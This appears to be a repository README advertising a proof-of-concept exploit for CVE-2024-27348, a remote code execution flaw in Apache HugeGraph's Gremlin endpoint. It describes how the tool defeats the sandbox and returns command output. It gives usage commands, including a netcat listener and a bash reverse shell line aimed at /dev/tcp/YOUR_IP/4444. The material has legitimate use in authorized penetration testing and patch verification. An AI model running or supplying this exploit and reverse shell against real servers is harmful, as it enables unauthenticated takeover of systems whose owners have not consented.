akelaqe/cve-2024-27348-hugegraph-rceAdvanced PoC exploit for CVE-2024-27348, achieving reliable RCE in Apache HugeGraph via sandbox bypass and non-blind command execution.
An advanced, highly reliable Proof of Concept (PoC) exploit for CVE-2024-27348 (Remote Code Execution in Apache HugeGraph Server).
Unlike many public PoCs that execute commands blindly or fail on complex payloads due to Java's Runtime.exec() limitations, this script is designed for reliability in real-world penetration testing scenarios.
For Educational and Authorized Testing Purposes Only. This tool is provided for security researchers, penetration testers, and system administrators to verify the vulnerability in authorized environments. The author is not responsible for any misuse or damage caused by this tool.
This exploit improves upon early public PoCs by addressing three critical issues:
gremlin-server-exec-*task-worker-*BypassThreadRuntime.getRuntime().exec(String), which breaks complex bash commands (like reverse shells) at spaces, this exploit uses ProcessBuilder with a properly formatted List<String>. This allows for the safe execution of complex payloads with quotes and redirections.InputStream of the executed process using a Java Scanner and returns the actual output of the command in the JSON HTTP response. You see exactly what the server sees.requests libraryInstall the required dependencies:
pip3 install requests
python3 exploit.py -u <TARGET_URL> -c <COMMAND>
Examples
python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "whoami"
# On your attacker machine, start a listener:
nc -lvnp 4444
# Execute the exploit:
python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
Apache HugeGraph Server exposes a Gremlin API endpoint (/gremlin) that allows users to submit Groovy scripts. Due to insufficient sandboxing in versions prior to patching, an unauthenticated attacker can execute arbitrary operating system commands via Java Reflection.